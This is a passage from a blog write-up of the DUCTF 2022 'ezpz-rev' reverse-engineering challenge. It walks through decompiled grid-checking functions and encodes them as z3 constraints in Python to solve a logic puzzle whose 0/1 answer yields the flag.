&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the third guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1616 / 1262&quot; alt=&quot;Decompiled output of the third guard.&quot; title=&quot;Decompiled output of the third guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp 1616w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1616px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using our vectorised 1D representation, we can simplify the above to:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; chars&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Mask and count characters.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Increment the count of `chars[i]`.&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Bad bad if a letter doesn&#39;t appear exactly thrice.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This initialises an array of 14 integers that serve as counters. This is followed by two loops. In the first loop, we &lt;strong&gt;mask&lt;/strong&gt; the input and initialised characters, then count the number occurrences of each character. In the second loop, we simply check that all counters equal 3, meaning each letter appears exactly three times in the masked string.&lt;/p&gt;
&lt;p&gt;By “mask”, I mean something like &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation#AND&quot;&gt;bitwise-and&lt;/a&gt;&lt;/strong&gt;, but for characters. For example, &lt;code&gt;abcdefg&lt;/code&gt; masked with &lt;code&gt;1011001&lt;/code&gt; would be &lt;code&gt;a cd  g&lt;/code&gt;, as only those four letters have &lt;code&gt;1&lt;/code&gt; associated with them. Alternatively, you can think of the &lt;code&gt;0&lt;/code&gt;s as masks hiding letters from sight, just like how face masks hide mouths.&lt;/p&gt;
&lt;p&gt;This is the first of the four functions which actually &lt;em&gt;combines&lt;/em&gt; both the user input and the character grid used in initialisation. The previous two functions performed checks only on the user input, but now we begin to see how the two relate.&lt;/p&gt;
&lt;p&gt;Also recall that the letters initialised range from &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;n&lt;/code&gt;, and in fact &lt;code&gt;n&lt;/code&gt; is the 14th letter of the alphabet. &lt;s&gt;14 rows, 14 columns, 14 letters, checking if everything equals 3… seems a little sus. Maybe the challenge authors are hinting at the number 42, &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#Answer_to_the_Ultimate_Question_of_Life,_the_Universe,_and_Everything_(42)&quot;&gt;the answer to life and everything in the universe&lt;/a&gt;? Is this the true reverse behind this challenge?&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Anyway, let’s try to add these constraints to z3. In proper reverse fashion, instead of first checking the user input like the original function, we’ll start with the letters. We’ll collect the indices containing a letter (say &lt;code&gt;&#39;a&#39;&lt;/code&gt;), then collect all the input symbols associated with those indices, sum them, and constrain them to three.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 3: mask constraint.&lt;/span&gt;
letters &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;abcdefghijklmn&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; l &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; letters&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Find all indices in chars which have letter `l`, then sum the corresponding Int symbols from `inputs`.&lt;/span&gt;
    indices &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; indices&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Great! Three down, one to go.&lt;/p&gt;
&lt;h3 id=&quot;the-fourth-guard-wonky-jumps-and-guesswork&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-fourth-guard-wonky-jumps-and-guesswork&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Fourth Guard: Wonky Jumps and Guesswork&lt;/h3&gt;
&lt;p&gt;Here&#39;s a snippet of the fourth guard:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the fourth guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1548 / 1300&quot; alt=&quot;Decompiled output of the fourth guard.&quot; title=&quot;Decompiled output of the fourth guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp 1548w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1548px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The first half is understandable... But the rest... Hoh! What an eye sore! What’s the jump doin— I can’t even— ugnahfpwifhlqufjcjwalfhwowjrvkaufjwp.&lt;/p&gt;
&lt;p&gt;As far as my monkey brain understands, the function iterates through every grid cell, and if it equals 1, performs some complicated check in an inner loop. At this point, I tried to understand what the inner loop was doing. Not much success. Looking at the decompiled output, keep in mind that &lt;code&gt;0xfffffff1&lt;/code&gt; is only the &lt;em&gt;unsigned&lt;/em&gt; interpretation. There is also the &lt;em&gt;signed&lt;/em&gt; interpretation, which in this case is -15.&lt;/p&gt;
&lt;p&gt;I then trained my eyes on the other &amp;quot;magic constants&amp;quot; in the inner loop and focused all my reverse powers by staring the numbers down. -1, -15, -14, -13, 1, 15, 14, 13. Hmm…&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Charging... Focusing reverse energy... Ultrascan activated...&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Squinting meme.&quot; title=&quot;Charging... Focusing reverse energy... Ultrascan activated...&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ooh! Perhaps it’s checking adjacent cells orthodiagonally (i.e. orthogonal + diagonal)? If you’ve implemented a Minesweeper game before, you’ll know where I’m going :P. Indexing &lt;code&gt;i - 14&lt;/code&gt; would pick the cell above cell &lt;code&gt;i&lt;/code&gt;, since each row is 14 cells wide. Similarly, &lt;code&gt;i + 14&lt;/code&gt; would pick the cell below. &lt;code&gt;i + 15&lt;/code&gt; would pick the bottom-right cell, and &lt;code&gt;i - 1&lt;/code&gt; would pick the left cell. Interesting!&lt;/p&gt;
&lt;p&gt;The other complicated checks, I presume, are out-of-bound checks. For example, if we’re at &lt;code&gt;i == 0&lt;/code&gt; (the top-left corner), then the only adjacent cells are &lt;code&gt;i + 1&lt;/code&gt;, &lt;code&gt;i + 14&lt;/code&gt;, and &lt;code&gt;i + 15&lt;/code&gt;. Anything else would go outside the array. After guessing this, I didn’t bother figuring out whether the decompiled loops actually follow this logic. &lt;s&gt;Terrible software engineering practice, but eh, we’re playing reverse, so might as well try it.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;To the solver! For each symbol, we’ll add constraints saying, “If this cell is 1, its surrounding cells can’t be 1.” We’ll use &lt;code&gt;z3.Implies&lt;/code&gt; to encode this logic. We only consider cells orthodiagonal to the current cell and within grid bounds.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 4: check orthodiagonal adjacents.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; size
    y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; size

    &lt;span class=&quot;token comment&quot;&gt;# Build list of adjacent indices. Bounds checking mania.&lt;/span&gt;
    orthodiag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# If this cell is 1 --&amp;gt; surrounding cells can&#39;t be one.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; od &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; orthodiag&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Implies&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; od&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And with that, we’ve defeated the four guards! Huzzah!&lt;/p&gt;
&lt;h3 id=&quot;the-final-touch&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-final-touch&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Final Touch&lt;/h3&gt;
&lt;p&gt;All that’s left is to let z3 solve our constraints and generate concrete values for our symbols. We’ll push these concrete values into a &lt;code&gt;payload&lt;/code&gt; variable and print it out.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Construct payload.&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
m &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_long&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We obtained a z3 model from the solver by calling &lt;code&gt;s.model()&lt;/code&gt; and evaluated our symbols to produce concrete integer 1s and 0s by calling &lt;code&gt;m.eval(sym).as_long()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After feeding this to the server, we obtain the flag. Yippee!&lt;/p&gt;
&lt;p&gt;For an “easy” challenge, I definitely spent too much time on this. I wasted some time switching between a pure z3 logic solver and a full-blown angr solver, finding out angr was taking too long, and spamming Ctrl+Z. I could’ve spent this time sleeping instead. 😕&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
